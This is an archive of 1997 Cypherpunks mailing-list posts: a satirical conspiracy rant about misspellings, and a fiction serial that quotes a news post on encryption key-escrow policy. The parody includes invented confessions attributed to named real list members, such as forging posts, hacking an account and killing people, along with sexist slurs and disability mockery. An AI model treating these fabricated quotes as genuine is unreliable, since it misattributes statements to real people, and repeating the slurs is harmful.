>Please excuse my spelling as I suffer from agraphia see
the url in my header. 

  Notice anything a little bit *strange* in the above quotes?

  Suddenly, "? the Platypus" is the only one of this
group that
can spell welfair...warfair......welfare.
  {Damn! What's that clinging to my back?}

  What is going on here? As the Platypus's spelling gets better,
the
other list members' spelling gets worse.

  For example:

Ray Arachelian sayhed:
> what shal be the punishment?  If the one who takes the order...

         *^*
> reposability, then the one giving the order must be doubly...

     *^^*

Tim May wroted:
> Agraphia or not, this is one of the lamest posts I've seen
in years.
> Wealth is to be taken from those who have worked for it or
put their
> capitcal at risk
      *^*

  The CypherPunk Philosophist King, lame-ing while flame-ing?
Worse 
yet, while flame-ing about lame-ing?
  Lame-ing while flame-ing about lame-ing? Fucking up his spelling

while taking a cheap-shot at someone's disability in their ability
to
'dis' someone with proper spelling?
  And then, after his "capitcal" misfire, the object
of his scorn 
returns fire with a correct spelling of "redistribution?"

? the Platypus correctly scripted:
> The US has one of the lowest rates of wealth redistribution
in the...

  Am I making too much of this? A few simple typo's, you say?
Perhaps
an occasional slip of the finger--a momentary lapse of mind and/or

memory, leading to a misspelled word?
  {Or is it 'mispelled'? I don't know, and I'm afraid to look
it up.
   I could use the spell checker, but... No! It's too dangerous.}

  It's the Plot of the Platypus, I tell you...I AM NOT CRAZY!!!!

  I did extensive analysis of the list posts in the last few months,

and I can state with absolute certainty that for every slight

improvement in the quality of the Platypus's spelling, there is
a 
court responding decease in the Kuala-T of many of T ohter libsp

mambors spealing.
  {See? Do you SEE!?!? IT'S EVEN HAPPENING TO *ME* NOW.}

  That's not all. Just like before, others on the list are acting
as
the shills for the chief instant gator of this spelling tragivesty.

Bill Stewart, a conscienshous speller, said:
> [If you're going to rant about government-provided education,

> _please_ spell most of your words correctly, or let technology
help 
> you...]

  See? Do you SEE?!?
  The subtle slams by the co-conspirators are beginning. It's
the
next stage...
  "Having a little trouble with your spelling there, pal?
There's no
more censorship, so you can say anything you want...as long as
you
can SPELL it! Haaa...haaaa...haaa."

  The ebil fartses are once again attempting to split the cybferpukes

lissed in2 too kamps--the good spellers and the bag speelers.

  Think about it. Have you ever heard of "agraphia"
before? Ever known
anyone that had it? Of course not! It was developed in an underground

lavoratory in Area 51 by reptilian Nazis.
  Well, maybe not "reptilian", but Nazis, just the same.

  And LOOK! I'm using double-quotes! *Misplaced* double-quotes,

nonetheless.
  THE MARKS OF THE *TOTO*!!!

  The conspiracy is spreading fast. It's everywhere. Kent Crispin,

government schill {Damn! I even spell 'shill' like Toto, now.
At
least I managed to use single quotes this time, like we did in

the old days, before the censorship crisis...which just 'happened'

to happen shortly after Toto happeared out of nowhere...}

  Where was I...? Oh, yes...
  Crispin, who has long previously been the target of many vicious

attacks by both Toto and the Platypus, is now showing signs of

the government generated Platyagraphia and the double-quote marks

of the Toto.

Kent Crispin <kent@songbird.com> say-heyed:
>will force the "welfair class" to become productive
citizens or die.  
                ^    ^^^      ^

  Or is Kent Crispin, gubormint chill, marking funds of the wrist

of U.S.? Is he laughtering at uds B-hynd R backs?
  Is he a bubble agent in the Plop of the Paperplutz?

  Still skeptical? Wait!! There's more!!!
  {No, not the Ginsu knives, you fools. I'm talking about the
Plop
   of the Pretty Puss.}

  Think about the following pots, which wah *snot* sent to the
list
in order to hide the troops from the simplefucks lips dismemberers.

  Since it was not cent 2 the lips, I had to make it up, and now

I'm a forager, like Tutu making those bag fridgeries of ohter

cheaples pastes when he abuses their names without having their

parsimmons to accuse their name for making his own pissed to the

cyberhunks lost.

------- Begin Pretty Good Pretending-------
PGP: Bad Spelling Virgin 0.1

To: ciderpundits@tao.dot.commie
From: TheBadSpellingForger <i_can__spell_good@anytime.I.please>

Subject:  Make Con$piracy La$t
Date: {I'm typing it *now*, you idiot.}

  Tired of being a LOSER? Tired of failing in your list takeover

bids while others, like the _fuck_you_morons_ spammer, AOL'ers,

and blonde bimbos with huge breasts are getting ahead in life?

  Tired of not getting your secret cypherpunks decoder ring, like

the others, because you don't use an "authorized" operating

system, and you can't spell "welfare" even though you're
on it?

  Join the SECRET CONSPIRACY AGAINST THE CYPHERPUNKS LIST today,

and turn your life around. 
 {No Bullshit! This conspiracy is so fucking secret that *nobody*

  knows about it--NOT EVEN ME! I had to make it up! That's how

  secret it is.}

  Good gays Finnish lost. Why do they "Finnish lost"?
Because 
they waste their time with correct spelling, proper placement

of quotation marks, and trying to develop a consistent list
persona when there are already millions of Internet identities

out there already, just waiting to be abused.

  Face it, it's the assholes that usually end up on top, and not

just because most people sleep on their stomachs. So why are
you WASTING YOUR TIME being a good gay, when the assholes are

making the BIG BUCKS by putting naked pictures of big bucks
fucking big butts on their "Native American Nude MLM"
web site?

  Tired of being an anarchist? Tired of waiting for Jim Bell
to rat you out as being a co-conspirator in his evil plot
to overthrow the government? Tired of standing in front of your

mirror, trying to practice acting surprised when armed forces

from a dozen government agencies kick down your door to announce

that someone nuked D.C., and they'd like to "ask you a few

questions?"
  Join the SECRET CONSPIRACY AGAINST THE CYPHERPUNKS LIST. Do
it
TODAY, and you will be guaranteed a secret cypherpunks decoder

ring when the people who pull our strings pass a law criminalizing

them (except for use in meeting the legitimate needs of secret

conspirators against the cypherpunks list).

  Listen to what these Secret Conspirators have to say:

Peter Trei:
  "Hi. I used to be a boring guy. I was so boring that none
of the 
assholes on the list even bothered insulting me, or forging posts
in
my name.
  "Then one day, my life suddenly changed. Someone forged
a post to 
the list in my name, and it was exciting. It was like getting
robbed
at gunpoint. What a rush!
  "When I woke up the next morning, I couldn't face going
back to my
normal, moral, ethical, boring life. I sent an anonymous post
to the
list--as TruthMonger! It felt good, like being elected to a government

office by lying to people, but I wanted MORE. I began forging
posts to
the list using other people's identities. If they complained to
the
list, then I killed them, and assumed their list identities. It
felt
like driving INSLAW into bankruptcy, stealing their software,
and
murdering those who knew too much!
  "Now I am Peter Trei, boring cryptographer, by day, but
I am any
exciting, unethical asshole I want to be, at night.
  "I liked the SECRET CONSPIRACY AGAINST THE CYPHERPUNKS
LIST so
much that I *stole* the conspiracy. "? the Platypus"
has nothing
to do with the Plot of the Platypus, I'm just making fun of his

disability, like a real asshole. Toto has nothing to do with it,

either. He's such a loser that everyone on the list can spot his

forgeries. (Well, they "used to could". But now that
I can mimic
his style and have hacked his Sympatico account, I can deny all

of this from my real list persona tomorrow, and nobody will be

the wiser.)
  "I'm not just a user of the cypherpunks list, I'm an abuser."


Kent Crispin:
  "This isn't Peter's conspiracy, its MINE! I mean, get real,
I
work in a secret underground lavoratory as a government shill.

  "Think about it. Who would you expect to conspire against
a
bunch of anarchists...the government! You all know how much I

love the government and authority. I'm Louis Freeh's secret
lover. Janet Reno is going to have my baby.
  "It's me! *I* am the one behind the SECRET CONSPIRACY AGAINST

THE CYPHERPUNKS LIST. I'm a STATIST, for God's sake, why won't

you believe me? 
  "Because I'm not one of the elitist 'chosen?' Fuck you."


Tim May:
  "God, I *love* this list."

Robert Hettinga:
  "Hey! If you check the archives, you'll find that I said
that 
in a post, long before anyone else did."

TruthMonger:
  "Now Hettinga is stealing Tim May's lines. What the hell
is 
going on, here? Has *everybody* on this list gone crazy?
  "*I* am the one who is *really* behind the SECRET CONSPIRACY

AGAINST THE CYPHERPUNKS LIST. Think about it. Everyone knows
that I'm a 33rd degree Mason.  No...that's Tim May.
  "Fuck this shit. From now on, I'm posting as Toto."


John Perry:
  "This has gone on long enough. I'm killing this thread.

...I mean..."post." ...I mean...
  "Shit! I'm not the list moderator, yet. That's *after*
we
take over the list."
  "Sorry."

------- End Pretty Good Pretending-------

...

~~~~~~~ Begin Note From Igor ~~~~~~~
Do you all remember the Perl script I was working on for mimicking
the
posts of other people? Well, this post is the latest product of
that
script. What do you think? Is it convincing? Did you really believe

that it was actually written by one or more of the people mentioned

in the post?
I think that I finally have the Perl script to the point where
I can
effectively fool most people about the true source and method
of a
computer generated post's actual origins.
  I was thinking about adding a conspiratorial part about myself.
I was
going to intimate that the fact that I was so active on the list
during
the censorship crisis, playing the skeptic who was gradually brought

around to the truth of Dale Thorn and Toto's claims, then volunteering

to host the list and quietly disappearing into the background,
might
indicate that *I* was really behind the SECRET CONSPIRACY AGAINST
THE
CYPHERPUNKS LIST.
  In the end, I decided against it, because then the readers would
be
left with the notion that perhaps even this explanatory note from
me
was bogus, and that there really was an ongoing SECRET CONSPIRACY

AGAINST THE CYPHERPUNKS LIST.

~~~~~~~ End Note From Igor ~~~~~~~

**********
DISCLAIMER
**********

THERE IS *NO* SECRET CONSPIRACY AGAINST THE CYPHERPUNKS
LIST!

        There is no conspiracy by a secret government to destroy

        the Constitution, enslave the people, and rule the world.

        Individual cypherpunks are not being imprisoned and murdered

        and replaced with Identity Bots. There is no need to worry.

        Declan McCullagh can confirm all of this. You can trust
him.
        He is your representative in D.C. He did *not* give secret

        testimony against Jim Bell in return for a byline in the

        "Time" magazine cover story. That is just a
rumor. Well, not
        yet, maybe, but it will be, very soon.

        Remember, this is just a normal mailing list with a few
list
        members who are a little odd. There are no spooks. There
is
        no background intrigue. This whole privacy thing has just
been
        blown a bit out of proportion. It's really not that important.

        Waco was just a tragic accident. Ruby Ridge was a simple
error
        in judgment by a government agent who really feels bad
about
        following his superiors orders. Heavily armed U.S. Marines
are
        no match for a goat-herding boy with a .22, and it is
only by
        the grace of God that they are alive today. Oswald acted
alone.

lai;ekrjke ^C
THERE IS *NO* SECRET CONSPIRACY AGAINST THE CYPHERPUNKS LIST!

       There is no conspiracy by a secret government to
destroy
        the Constitution, enslave the people, and rule the world.

dakl;jdafkl;jad;jfa  ^C ^C
        Oswald acted alone. Bears are Catholic. The Pope shits
in 
        the woods. The government is concerned for your welfair.

                                                           *^^^*

ldfafd;ljfd;  ^C^X^C

    THERE IS *NO* SECRET CONSPIRACY AGAINST THE CYPHERPUNKS
LIST!

da;lkdf ^C
    THERE IS *NO* welfair ad;fljadf;
                     *^^^*
ad;sljf;afj ^C ^C ^C

    THERE IS *NO* 
        SECRET CONSPIRACY AGAINST THE CYPHERPUNKS LIST!
        SECRET CONSPIRACY AGAINST THE CYPHERPUNKS LIST!
        SECRET CONSPIRACY AGAINST THE CYPHERPUNKS LIST!
        SECRET CONSPIRACY AGAINST THE CYPHERPUNKS LIST!
        SECRET CONSPIRACY AGAINST THE CYPHERPUNKS LIST!
        SECRET CONSPIRACY AGAINST THE CYPHERPUNKS LIST!
        SECRET CONSPIRACY AGAINST THE CYPHERPUNKS LIST!
        SECRET CONSPIRACY AGAINST THE CYPHERPUNKS LIST!
        SECRET CONSPIRACY AGAINST THE CYPHERPUNKS LIST!
        SECRET CONSPIRACY AGAINST THE CYPHERPUNKS LIST!
        SECRET CONSPIRACY AGAINST THE CYPHERPUNKS LIST!
        SECRET CONSPIRACY AGAINST THE CYPHERPUNKS LIST!
        SECRET CONSPIRACY AGAINST THE CYPHERPUNKS LIST!
        SECRET CONSPIRACY AGAINST THE CYPHERPUNKS LIST!
        SECRET CONSPIRACY AGAINST THE CYPHERPUNKS LIST!
        SECRET CONSPIRACY AGAINST THE CYPHERPUNKS LIST!



"The Xenix Chainsaw Massacre"

"WebWorld & the Mythical Circle of Eunuchs"

"InfoWar (Part III of 'The True Story of the InterNet')

Soviet Union Sickle of Eunuchs Secret WebSite









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Deja Vu <dv@dev.null>
Date: Sun, 5 Oct 1997 05:47:49 +0800
To: cypherpunks@toad.com
Subject: InfoWar 33 / The GeigerBurg Text
Message-ID: <3436B414.4EBA@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



----------------------------------------------------------------------------
----------------------------------------------------------------------------

                       The True Story of the InterNet
                                  Part III

                                   InfoWar

                  Final Frontier of the Digital Revolution

                     Behind the ElectroMagnetic Curtain

                        by TruthMonger <tm@dev.null>

Copyright 1997 Pearl Publishing
----------------------------------------------------------------------------
----------------------------------------------------------------------------

                          InfoWar Table of Contents

   * Anarchist Post of the Century
   * Anarchist Post of the...(Ouch!)

----------------------------------------------------------------------------

                        Anarchist Post of the Century
----------------------------------------------------------------------------

Subject: Crypto-continuation in Washington: FBI/DoJ keep up the pressure
From: Declan McCullagh <declan@well.com>
To: fight-censorship@vorlon.mit.edu, cypherpunks@toad.com

Crypto is hot in Washington. Don't think the battle's over; it's just
beginning:

   * This afternoon when the Senate Intelligence committee met to consider a
     new CIA deputy director, Sen. Bob Kerrey said "there's a real urgency"
     to
     get an encryption bill passed. (Presumably, that would be his bill, the
     "Key Escrow Infrastructure" McCain-Kerrey/S.909.) Anyone still think
     that
     the Senate will do the right thing on crypto? Think again...
   * * Last week Janet Reno talked at her weekly press conference about
     balancing law enforcement rights with privacy rights -- through
     mandatory
     domestic key escrow.
   * * Yesterday Louis Freeh spoke at length before the House International
     Relations committee about the spread of nuclear weapons... and reminded
     committee members about the problems the FBI has with nonescrowed
     crypto...
   * * Sen. Jon "Mandatory Domestic Key Escrow" Kyl said on Sunday that the
     Clinton administration's export controls on crypto were *not tight
     enough*...

More info:
http://cgi.pathfinder.com/netly/opinion/0,1042,1385,00.html
http://www.jya.com/declan8.htm

-Declan

****************

HEARING OF THE SENATE INTELLIGENCE COMMITTEE
NOMINATION OF LT.-GEN. JOHN A. GORDON
TO BE DEPUTY DIRECTOR OF THE CENTRAL INTELLIGENCE AGENCY
CHAIRMAN: SENATOR RICHARD SHELBY (R-AL)
106 DIRKSEN SENATE OFFICE BUILDING
WASHINGTON, DC
2:00 P.M. EDT
WEDNESDAY, OCTOBER 1, 1997

SEN. KERREY: I hope no doubt that you've heard of and perhaps had the
opportunity to read the recommendations made by Senators Helms and
Moynihan, but I think they're excellent. It's an excellent examination of,
first, the need in some instances to classify, as well as the need to
examine that classification system.
It's not really a question, General Gordon. I think it's
imperative that, on the issue of encryption, that the president exert some
authority and try to pull together the congressional leaders and say, "We
need a secure public network." There's counter-intelligence concerns.
There's national security issues here at stake, obviously, balanced against
the concerns for civil liberties and the concern for commercial interests
and the need to develop.
But there's lots of action up here on the Hill, both in the House
and the Senate, in half a dozen committees or eight or nine committees, or
Lord knows how many altogether, more than I realized existed. And I think
there's a real urgency to get something passed both for the private sector,
so they can have some stability, but also on the public-sector side, so we
can protect the nation's interests.
MR. GORDON: Senator, I have not delved that deeply into the
encryption issue. I certainly take your point on this point. But I do
know that if the Senate does confirm me that that will be squarely on my
plate.

****************

ATTORNEY GENERAL JANET RENO'S WEEKLY MEDIA AVAILABILITY
U.S. DEPARTMENT OF JUSTICE
WASHINGTON, DC
THURSDAY, SEPTEMBER 26, 1997

Q No, wait -
ATTY GEN. RENO: You've got to be quicker than that.
Q (Inaudible) - yes, ma'am. Director Freeh and Director
Constantine both have complained that U.S.-made encryption devices are
giving the drug cartels an advantage whereby interdiction becomes impaired.
Would you favor, as Mr. Freeh does, some kind of giving of the keys to
these devices to the FBI and DEA?
ATTY GEN. RENO: I don't think that Director Freeh favors giving
keys to the FBI and to the DEA.
Q No?
ATTY GEN. RENO: What Director Freeh has talked about is what we
have today - if someone is going to tap a phone, they don't just go in and
tap the phone, if they're going to do it legally. What law enforcement
does is it develops probable cause to believe that the telephone is being
used to commit a crime and that to overhear would provide evidence of a
crime. That is submitted to a judge, both in federal court and in many
states courts where wiretapping is authorized. The judge reviews the
sufficiency of the affidavits in support of the petition and enters an
order directing the telephone company to provide that opportunity.
What Director Freeh is hoping to achieve is the same thing with
respect to encrypted products; so that the court would direct that the key
be provided to the telecommunications system, or the other system, in order
to decrypt the encoded message.
What we're trying - what the administration is trying to do is to
recognize that there are two important interests at stake here. One is the
law enforcement interest, which is so vital with respect to terrorists,
with respect to being able to decrypt the drug dealer's computer when I - I
can get a search warrant now and seize his black book and I can read his
black book or decipher what he's talking about. But if he can encrypt the
information on his computer, that will be a significant obstacle to law
enforcement.
At the same time, the whole purpose of encryption with modern
telecommunication is to provide for the privacy interest, of commercial
interest of the average citizen. And so I think it's important that we
work together to ensure the law enforcement capacity and ensure that the
present capacity to get court-ordered authorities for surveillance are
continued and are made real, while at the same time ensuring privacy.
Q So you're saying that the phone company would have the
responsibility? Do they have the capability of encrypting?
ATTY GEN. RENO: The phone company doesn't have it. There would be
a system whereby a key would be provided through third parties or
otherwise. But this is something that we need to work together on to
ensure that law enforcement interests are protected and that privacy
interests are protected as well.

****************

HEARING OF THE HOUSE INTERNATIONAL RELATIONS COMMITTEE
SUBJECT: ORGANIZED CRIME
CHAIRED BY: REPRESENTATIVE BEN GILMAN (R-NY)
LOUIS FREEH, DIRECTOR, FEDERAL BUREAU OF INVESTIGATION
2172 RAYBURN HOUSE OFFICE BUILDING
WEDNESDAY, OCTOBER 1, 1997
10:00 A.M EDT

REP. : Following up on what Mr. Hyde said on your need to
fight international crime and terrorism, what do you need, as an agency
director and for your agency, in terms of specifics to wage a fight that
you can win?
MR. FREEH: Yes, sir. As I mentioned in my statement, I think we
need it on three levels. We need the permanent and minimal FBI presence
overseas to develop the kinds of relationships that Dr. de Gennaro and I
have had now for 18 years.
We have asked for, and the Congress approved last year, in August
of 1996, a plan to expand the FBI's Ligat (sp) program from approximately
23 to 43 Ligats. That would call for, by the end of 1999, 146 special
agents in 42 different countries with 116 support employees. That's a
total of 262 people. As I mentioned, the plan was submitted last year. It
wasn't just an FBI plan. It was jointly submitted by the State Department
and the attorney general. And we've asked for funding in the 1998 and 1999
budgets to reach that level.
We've also asked for a continuation of the training. As I
mentioned, we've been able to train thousands of police officers around the
world. The benefit of that training is two-fold. First of all, we can
give them what they need most of all, which are the basic tools to conduct
their own investigations.
Just as importantly, we develop through those relationships, as Dr.
de Gennaro described it, the cop-to-cop contacts and relationships. So an
FBI agent or a DEA agent can pick up the phone and speak to a police
commander in Uzbekistan or Kazakhstan, if that's the place where we need to
do our work. So the training is a very important part of the whole program.
And again, and finally, we need the technological tools to do our
work. We have to be able to communicate rapidly and securely. We have to
deal with encryption. We have to deal with cyber-crime. And those are all
part of a larger technological challenge which we're trying to meet.

[...]

REP. LINDSEY GRAHAM (R-SC): Thank you, John.
Director Freeh, appreciate your testimony. It's been quite
riveting, actually. One of the briefing papers we have indicates that the
American public, in a recent poll, whatever you want to take polls worth,
say that 70 percent of the American people who were surveyed found it
likely that the United States could be attacked by terrorist groups within
the next decade using smuggled nuclear devices. If you were asked that,
what category would you be in?
MR. FREEH: I think it's a threat and a possibility that should
occupy our highest priority. I think we've seen attacks certainly in
Oklahoma, in New York City. We know that many of the state sponsors of
terror, including Iran, are rapidly and very aggressively acquiring nuclear
technology, both in terms of warheads and launching devices. We know that
many of the state sponsors of terrorism, particularly Iran, sponsor and
fund and control Hezbollah groups, including groups which have connections
and operations in the United States.
So the links, although I don't think I've seen them in a documented
form, clearly suggest that if a terrorist is willing to use a truck bomb to
blow up a building with thousands of people at risk, the accomplishment of
the particular objective would not be changed or influenced by the
opportunity to use a much more devastating (nuclear?) or biological or
chemical agent.
So I think we have to take the possibility extremely seriously and
we have to take drastic steps to try to prevent and detect that.

****************

[This thanks to John Young. --Declan]

Remarks by Senator Jon Kyl at the First International Conservative
Congress--September 28, 1997

[...]

The Clinton Administration pursues a foreign policy without
clear goals or the will to act decisively and is squandering
the national security means left to it by a dozen years of
Republican presidency. It emphasizes hope over reality and
reliance on arms control agreements like the Comprehensive
Test Ban Treaty (CTBT), the Anti-Ballistic Missile (ABM)
Treaty, and the Chemical Weapons Convention (CWC) over a
stronger defense. And political benefit over national
security, as in its decisions to cave in to the concerns of
some in industry in irresponsibly relaxing export controls on
key items like encryption technology and supercomputers.

****************

-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/
----------------------------------------------------------------------------

                        Anarchist Post of the...(Ouch!)
----------------------------------------------------------------------------

"Damn it, Baby!" the Tourette Tic grabbed his elbow and rubbed it.

Baby had never bitten him that hard before, and it hurt like hell.

"OK, I apologize for the sexist joke I emailed to all of those poor,
unsuspecting people."

The Tourette Tic knew that Baby had bitten him to keep him from using the
same chapter title, once again, but he also knew that his sexist joke was
what had put her in a bad mood to start with.
"And I'll use a different chapter heading for the next chapter, OK?"

Baby sat down on the bed, and resumed chewing on the moose bone she had
brought home in the middle of the night from some poacher's stash. She had
made her point.

"People with Tourette Syndrome often get caught up in repetitious cycles of
thought and action." the Tourette Tic was speaking to himself, now, since
Baby was putting all of her attention of the moose bone, wrestling it into
submission as it tried to escape her grasp.
"And sometimes we swear, too, you little cunt."

Baby put her bone down for a moment gave the Tourette Tic a cold stare,
challenging him to continue with this sexist line of thought.

"OK, I apologize." the Tourette Tic said, hastily, but couldn't resist
adding, "I forgot that you're on the rag...Ouch!"

Baby trotted back to her bone and resumed her attack on it, having
disciplined her alleged master for giving rein to his sexist leanings. Men...

"<FemiNazi>..." the Tourette Tic muttered, glancing at Baby, nervously.

Baby pretended she hadn't heard that last comment, but she secretly smiled
as she continued pulling at a piece of sinew on the end of the moose bone.
He was lucky he had her around to keep him on his toes, or there was no
telling how far he would backslide into the bowels of sexist bachelorhood.
----------------------------------------------------------------------------

"You can hardly blame him, though." Alexis spoke the words that all of the
members of the Magic Circle were thinking as they read the last few chapters
of 'InfoWar' that had been submitted by the head of the 'Department of
Redundancy Department.'

"True." the Cowboy agreed. "Ever since Lying Fuck Louis Freeh made the
mistake of tipping his hand, the CypherPunks have risen to the challenge by
inundating the list with a plethora of perceptive and poignant posts."

"Cowboy!" Priscilla said sternly, "Are you making fun of the tendency of
people with Tourette Syndrome to get caught up in alliteration, wherein they
titillate their tonsils, tending to repeatedly recite repartee redundantly
representing repetitive phrases?"

"Yeth." the Cowboy admitted, making fun of the lisp that Priscilla had been
blessed with as a child, only overcoming the tendency in adulthood.

"OK, that does it..." Jonathan spoke up, shaking his head at the inane
attitude that the others had been projecting since their last use of the
Trei Transponder.

"I am going to reveal to the readers of Part III of The True Story of the
InterNet, just how depraved you people are, by adding 'The Plot of the
Platypus' to this chapter, and letting them know that you all found it
hilarious."

Bubba Rom Dos stood up, looking offended.
"I resent the implication," he said, "that I am so insensitive as to laugh
at the physical disabilities of others. I just happened to think of
something extremely funny from my past, at the same time that I was reading
'The Plot of the Platypus' missive."

"Me, too." Priscilla added, giggling. "I was thinking of the first time that
Bubba and I had sex."

The whole group roared with laughter. Jonathan took it as a sign from the
Tao that he should indeed add the suggested missive to the chapter, in order
to ensure that the readers of 'InfoWar' would understand the truth spoken by
Winifred G. Barton, founder of the Bartonian Metaphysical Society and the
Institute of Applied Metaphysics, when she said, "Always take metaphysics
seriously. Never take yourself seriously."

"Nuke DC!" Bubba said, and called up the post onto the GraphiScreen,
whereupon Jonathan merged it with the message to the sexist by A Dog To Be
Named Earlier.
----------------------------------------------------------------------------

Subject: Plot of the Platypus
From: nobody@REPLAY.COM (Anonymous)
Organization: Replay and Company UnLimited
To: cypherpunks@toad.com

                 ********** ~~~~~~~~~~~~~~~~~~~~ **********
                 WARNING!!! Plot of the Platypus !!!WARNING
                 ********** ~~~~~~~~~~~~~~~~~~~~ **********

Since the death of Dale Thorn, I have lurked silently in the list
background while observing the creeping conspiracies continually
compromising cypherpunk costs.
I mean..."posts." {Damn, now I'm doing it, too.}

Doing what, you ask?
How did you know what I said? Are you with the MIND POLICE?
AM I SURROUNDED??!!!??

{Oh...I see that I put that thought in brackets, where you could
read it. Whew! Had me worried for a minute, there.}

To continue...
Being an anonymous coward who hides behind remailers the few times
that I post, I have been somewhat hesitant, nonetheless, to reveal
the observations and accompanying thoughts about the direction that
the cypherpunks lissed has taken {Damn, that's twice, already. I may
be infected, like many of the others} since the end of the Nazi
moderation/censorship experiment.
While other, more vocal, list members were celebrating the apparent
'victory' over the Johnboot of fascism being lifted from our typing
fingers, I had a troubled mind, worrying whether the evil forces
were truly vanquished or whether they had merely escaped by way of
the anonymous remailers, to the negative pole, where they would
bide their time and prepare to strike again.

I was counting on the shit-disturbers, chiefly Dale Thorn, to
keep a practiced eye out for signs of the evil farces {Was that a
typo, a Freudian slip, or another sign of the mind infection that
is rapidly spreading on the list?} regrouping to once again try
to destroy the cypherpunks list.
Suddenly, Dale disappeared--faster than you can say, "Jimmy Hoffa."
For a time, Toto attempted to carry on in his stead, but I *knew*
Dale Thorn, and Toto is no John F. Kennedy.
{Shit! Now I'm beginning to steal and corrupt the words of others.
I'm not certain I like the implications of this. The plot may go
even deeper than I previously thought...}

Where was I...?
Oh, yes...the Plot of the Platypus...

William H. Geiger III writed:
> A prime example is the welfair class in America.
*^^*

Anonymous rote:
> Many in the welfair class have their basic needs met by...
*^^*

Then, in a startling development,
? the platypus wrote:
>(Australia, most of europe ect have higher welfare rates).
... *^^^^^^^*
>Please excuse my spelling as I suffer from agraphia see the url in my
header.

Notice anything a little bit *strange* in the above quotes?
Suddenly, "? the Platypus" is the only one of this group that
can spell welfair...warfair......welfare.
{Damn! What's that clinging to my back?}

What is going on here? As the Platypus's spelling gets better, the
other list members' spelling gets worse.

For example:

Ray Arachelian sayhed:
> what shal be the punishment? If the one who takes the order...
*^*
> reposability, then the one giving the order must be doubly...
*^^*

Tim May wroted:
> Agraphia or not, this is one of the lamest posts I've seen in years.
> Wealth is to be taken from those who have worked for it or put their
> capitcal at risk
*^*

The CypherPunk Philosophist King, lame-ing while flame-ing? Worse
yet, while flame-ing about lame-ing?
Lame-ing while flame-ing about lame-ing? Fucking up his spelling
while taking a cheap-shot at someone's disability in their ability to
'dis' someone with proper spelling?
And then, after his "capitcal" misfire, the object of his scorn
returns fire with a correct spelling of "redistribution?"

? the Platypus correctly scripted:
> The US has one of the lowest rates of wealth redistribution in the...

Am I making too much of this? A few simple typo's, you say? Perhaps
an occasional slip of the finger--a momentary lapse of mind and/or
memory, leading to a misspelled word?
{Or is it 'mispelled'? I don't know, and I'm afraid to look it up.
I could use the spell checker, but... No! It's too dangerous.}

It's the Plot of the Platypus, I tell you...I AM NOT CRAZY!!!!
I did extensive analysis of the list posts in the last few months,
and I can state with absolute certainty that for every slight
improvement in the quality of the Platypus's spelling, there is a
court responding decease in the Kuala-T of many of T ohter libsp
mambors spealing.
{See? Do you SEE!?!? IT'S EVEN HAPPENING TO *ME* NOW.}

That's not all. Just like before, others on the list are acting as
the shills for the chief instant gator of this spelling tragivesty.

Bill Stewart, a conscienshous speller, said:
> [If you're going to rant about government-provided education,
> _please_ spell most of your words correctly, or let technology help
> you...]

See? Do you SEE?!?
The subtle slams by the co-conspirators are beginning. It's the
next stage...
"Having a little trouble with your spelling there, pal? There's no
more censorship, so you can say anything you want...as long as you
can SPELL it! Haaa...haaaa...haaa."

The ebil fartses are once again attempting to split the cybferpukes
lissed in2 too kamps--the good spellers and the bag speelers.
Think about it. Have you ever heard of "agraphia" before? Ever known
anyone that had it? Of course not! It was developed in an underground
lavoratory in Area 51 by reptilian Nazis.
Well, maybe not "reptilian", but Nazis, just the same.

And LOOK! I'm using double-quotes! *Misplaced* double-quotes,
nonetheless.
THE MARKS OF THE *TOTO*!!!

The conspiracy is spreading fast. It's everywhere. Kent Crispin,
government schill {Damn! I even spell 'shill' like Toto, now. At
least I managed to use single quotes this time, like we did in
the old days, before the censorship crisis...which just 'happened'
to happen shortly after Toto happeared out of nowhere...}

Where was I...? Oh, yes...
Crispin, who has long previously been the target of many vicious
attacks by both Toto and the Platypus, is now showing signs of
the government generated Platyagraphia and the double-quote marks
of the Toto.

Kent Crispin <kent@songbird.com> say-heyed:
>will force the "welfair class" to become productive citizens or die.
^ ^^^ ^

Or is Kent Crispin, gubormint chill, marking funds of the wrist
of U.S.? Is he laughtering at uds B-hynd R backs?
Is he a bubble agent in the Plop of the Paperplutz?

Still skeptical? Wait!! There's more!!!
{No, not the Ginsu knives, you fools. I'm talking about the Plop
of the Pretty Puss.}

Think about the following pots, which wah *snot* sent to the list
in order to hide the troops from the simplefucks lips dismemberers.
Since it was not cent 2 the lips, I had to make it up, and now
I'm a forager, like Tutu making those bag fridgeries of ohter
cheaples pastes when he abuses their names without having their
parsimmons to accuse their name for making his own pissed to the
cyberhunks lost.

------- Begin Pretty Good Pretending-------
PGP: Bad Spelling Virgin 0.1

To: ciderpundits@tao.dot.commie
From: TheBadSpellingForger <i_can__spell_good@anytime.I.please>
Subject: Make Con$piracy La$t
Date: {I'm typing it *now*, you idiot.}

Tired of being a LOSER? Tired of failing in your list takeover
bids while others, like the _fuck_you_morons_ spammer, AOL'ers,
and blonde bimbos with huge breasts are getting ahead in life?
Tired of not getting your secret cypherpunks decoder ring, like
the others, because you don't use an "authorized" operating
system, and you can't spell "welfare" even though you're on it?

Join the SECRET CONSPIRACY AGAINST THE CYPHERPUNKS LIST today,
and turn your life around.
{No Bullshit! This conspiracy is so fucking secret that *nobody*
knows about it--NOT EVEN ME! I had to make it up! That's how
secret it is.}

Good gays Finnish lost. Why do they "Finnish lost"? Because
they waste their time with correct spelling, proper placement
of quotation marks, and trying to develop a consistent list
persona when there are already millions of Internet identities
out there already, just waiting to be abused.

Face it, it's the assholes that usually end up on top, and not
just because most people sleep on their stomachs. So why are
you WASTING YOUR TIME being a good gay, when the assholes are
making the BIG BUCKS by putting naked pictures of big bucks
fucking big butts on their "Native American Nude MLM" web site?

Tired of being an anarchist? Tired of waiting for Jim Bell
to rat you out as being a co-conspirator in his evil plot
to overthrow the government? Tired of standing in front of your
mirror, trying to practice acting surprised when armed forces
from a dozen government agencies kick down your door to announce
that someone nuked D.C., and they'd like to "ask you a few
questions?"
Join the SECRET CONSPIRACY AGAINST THE CYPHERPUNKS LIST. Do it
TODAY, and you will be guaranteed a secret cypherpunks decoder
ring when the people who pull our strings pass a law criminalizing
them (except for use in meeting the legitimate needs of secret
conspirators against the cypherpunks list).

Listen to what these Secret Conspirators have to say:

Peter Trei:
"Hi. I used to be a boring guy. I was so boring that none of the
assholes on the list even bothered insulting me, or forging posts in
my name.
"Then one day, my life suddenly changed. Someone forged a post to
